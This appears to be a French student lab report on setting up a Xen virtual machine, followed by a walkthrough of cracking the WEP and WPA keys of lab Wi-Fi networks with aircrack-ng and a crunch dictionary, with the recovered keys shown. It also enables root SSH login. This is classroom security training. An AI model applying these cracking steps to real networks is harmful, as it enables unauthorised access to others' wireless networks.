TP sysres IMA2a5 2021/2022 G1
--- Logical volume --- LV Path /dev/virtual/BarbieGirl1 LV Name BarbieGirl1 VG Name virtual LV UUID rnEH8P-wgYP-Gvwx-En0B-wbge-7hfh-SmBtUx LV Write Access read/write LV Creation host, time capbreton, 2021-09-24 09:35:14 +0200 LV Status available # open 0 LV Size 10.00 GiB Current LE 2560 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:61
Sommaire
Installation de la machine virtuelle
Connexion sur le disque de virtualisation
su - ssh -4 capbreton.plil.info
Installation dans la machine virtuelle Xen
Création de la machine virtuelle :
xen-create-image --hostname=BarbieGirl --ip=193.48.57.161 --gateway=193.48.57.174 --dir=/usr/local/xen --dist=buster
Veiller à noter le mot de passe de la MV à cette étape. Celui-ci peut-être retrouvé à l'aide de la commande :
tail -f /var/log/xen-tools/BarbieGirl.log
Vérifier la création de la MV en se rendant sur les répertoires:
ls /etc/xen ls /usr/local/xen
Pour les disques : configuration RAID 5 Administration de volume logique :
lvcreate -L1G -n BarbieGirl1 lvcreate -L1G -n BarbieGirl2 lvcreate -L1G -n BarbieGirl3 lvcreate -L1G -n BarbieGirl4
Les volumes logiques sont par défaut de 1GiB. Augmenter la taille des volumes logiques:
lvextend -L +9G /dev/virtual/BarbieGirl1 lvextend -L +9G /dev/virtual/BarbieGirl2 lvextend -L +9G /dev/virtual/BarbieGirl3 lvextend -L +9G /dev/virtual/BarbieGirl4
Vérifier avec :
lvdisplay
Créer un système de fichiers étendu :
mke2fs /dev/virtual/BarbieGirl1 mke2fs /dev/virtual/BarbieGirl2 mke2fs /dev/virtual/BarbieGirl3 mke2fs /dev/virtual/BarbieGirl4
Création et modification du fichier de configuration :
xen create /etc/xen/BarbieGirl.cfg vim BarbieGirl.cfg
Lancer la MV avec la commande :
xen create /etc/xen/BarbieGirl.cfg
On peut vérifier que la MV est démarrée avec la commande :
xl list
Configuration réseau
On modifie le fichier interface pour permettre à la machine virtuelle d'accéder à internet :
nano /etc/networks/interfaces
# The primary network interface auto eth0 iface eth0 inet6 auto iface eth0 inet static address 10.60.100.161/24 up ip address add dev eth0 193.48.57.161/32 ; ip route add default via 10.60.100.254 src 193.48.57.161 down ip address del dev eth0 193.48.57.161/32 ; ip route del default via 10.60.100.254 src 193.48.57.161
Pour actualiser la configuration réseau on fais les commandes suivantes :
ifdown eth0 ifup eth0
Configuration ssh
Pour accéder à la machine virtuelle par ssh, on modifie le fichier suivant :
nano /etc/ssh/sshd_config
PermitRootLogin yes
Relancer le service ssh :
service ssh restart
On accède désormais à la machine virtuelle par la commande :
ssh root@193.48.57.161
Configuration DNS
J'ai voulu acheter le nom de domaine barbiegirl.store sur gandi.net
malheureusement il n'y avait plus assez d'argent sur la carte pour que je puisse acheter le nom de domaine...
Craquage de clés
Craquage clé WEP
Pour cette partie, nous allons casser la clé WEP du réseau "Cracotte 01".
Tout d'abord, on installe l'utilitaire aircrack-ng
su - apt install aircrack-ng
On prend une clé USB Wifi et on vérifie qu'elle est reconnue par l'ordinateur :
lsusb
Bus 003 Device 009: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 010: ID 413c:2005 Dell Computer Corp. RT7D50 Keyboard Bus 001 Device 007: ID 413c:301a Dell Computer Corp. Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
La clé wifi est bien reconnue par le PC : Bus 003 Device 009: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter
On récupère le nom de l'interface de la clé Wifi :
airmon-ng
On renomme l'interface en wlan0mon, nous allons utiliser la commande suivante pour passer la carte Wifi en monitor :
airmon-ng start wlx40a5ef059e47
On va ensuite faire cette commande afin d'écouter les trames Wifi de la clé USB:
airodump-ng wlan0mon
On obtient alors les informations suivantes :
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9C:50:50 -40 2 3 4 3 54e WEP WEP cracotte01
On récupère dans un fichier .cap toutes les données qui transitent sur le channel 3, uniquement les paquets échangés avec cracotte01 :
airodump-ng -w lcrack -c 3 --bssid 04:DA:D2:9C:50:50 wlan0mon
On attends qu'il y ai au moins 30 000 trames récupérées puis on lance le crackage de la clé :
aircrack-ng lcrack-01.cap
Après 5-10min, on obtient le code de la clé Wifi :
Aircrack-ng 1.5.2
[00:00:00] Tested 721 keys (got 665952 IVs)
KB depth byte(vote)
0 1/ 2 27(703488) 1D(696832) 92(694528) EB(692224) A6(689408) 9D(688896)
1 2/ 1 D0(698112) 65(697344) A7(696320) 0D(695296) 21(693504) 3A(692224)
2 1/ 3 9B(701440) FC(697344) 2E(695808) 6D(692224) 57(689152) CF(688640)
3 1/ 5 BB(703232) 30(700416) A6(699392) AB(699136) C2(696064) 36(695296)
4 13/ 4 35(687104) D6(686592) 76(686080) 23(685824) 48(685824) 63(685568)
KEY FOUND! [ 12:34:56:78:9A:BC:02:CB:A9:87:65:43:21 ]
Decrypted correctly: 100%
Craquage clé WPA
On vérifie que notre utilitaire aircrack est bien installé, sinon on refait la commande :
apt-get install aircrack-ng
Listing de toutes les interfaces Wi-Fi
airmon-ng
On obtient la liste ci-dessous :
PHY Interface Driver Chipset phy0 wlx40a5ef059e47 rt2800usb Ralink Technology, Corp. RT5370
On passe la carte Wifi en mode monitor :
airmon-ng start wlx40a5ef059e47
On observe les trames de réseaux avec la commande :
airodump-ng wlan0mon
On récupère le BSSID de krakotte01 et le channel : 44:AD:D9:5F:87:00 sur le channel 8 On enregistre alors les trames qui passent sur krakotte01 dans un fichier krakotte.txt :
airodump-ng -c 8 --bssid 44:AD:D9:5F:87:00 -w krakotte.txt wlan0mon
On attend environ 1/4 d'heure pour récupérer suffisamment de trames.
Exécution de Aircrack :
On créé alors un dictionnare contenant l'ensemble des mots de passes potentiels. On sait que la clé WPA est composée de 8 chiffres aléatoires, donc le dictionnaire contient 100 000 000 possibilités et est créé grâce à la commande suivante :
crunch 8 8 0123456789 >> dico.txt
Pour accélerer le processus de crackage, on divise le dictionnaire en 5 fichiers :
split -b 200m dico.txt
On peut vérifier que cela a bien fonctionné en regardant le contenu des fichiers générés
ls >> xaa >> xab >> xac >> xad >> xae
Posséder ces différents fichiers va me permettre d'exécuter la commande aircrack-ng sur d'autres zabeth de manière à diminuer le temps de recherche du mot de passe.
Cassage de la clef WPA :
aircrack-ng -w xaa krakotte01.cap
aircrack-ng -w xab krakotte01.cap
aircrack-ng -w xac krakotte01.cap
aircrack-ng -w xad krakotte01.cap
aircrack-ng -w xae krakotte01.cap
Résultat :
Aircrack-ng 1.5.2
[08:04:01] 66637843/102795810 keys tested (958.44 k/s)
Time left: 10 hours, 29 minutes, 3 seconds 64.83%
KEY FOUND! [ 66601666 ]
Master Key : 43 33 CD 6B EA 53 29 36 F9 53 21 00 33 0A 1A 45
18 E3 D5 1D DD 1C 37 29 B9 6B 49 32 24 80 02 E5
Transient Key : 77 A3 E9 BF CE FD D1 2B D9 62 3B 15 3C D5 2C 20
59 59 19 3E AF 62 8F C9 1A 48 9C 1B 4B A4 89 70
B3 4C 79 2A 0A FB C9 71 1F 10 01 BE A5 FA 96 41
18 04 12 0E 01 91 DD EA B2 96 17 F3 69 AC 7C F5
EAPOL HMAC : DA 48 8D 5E B4 0E F9 78 63 C7 8E 01 56 40 82 10
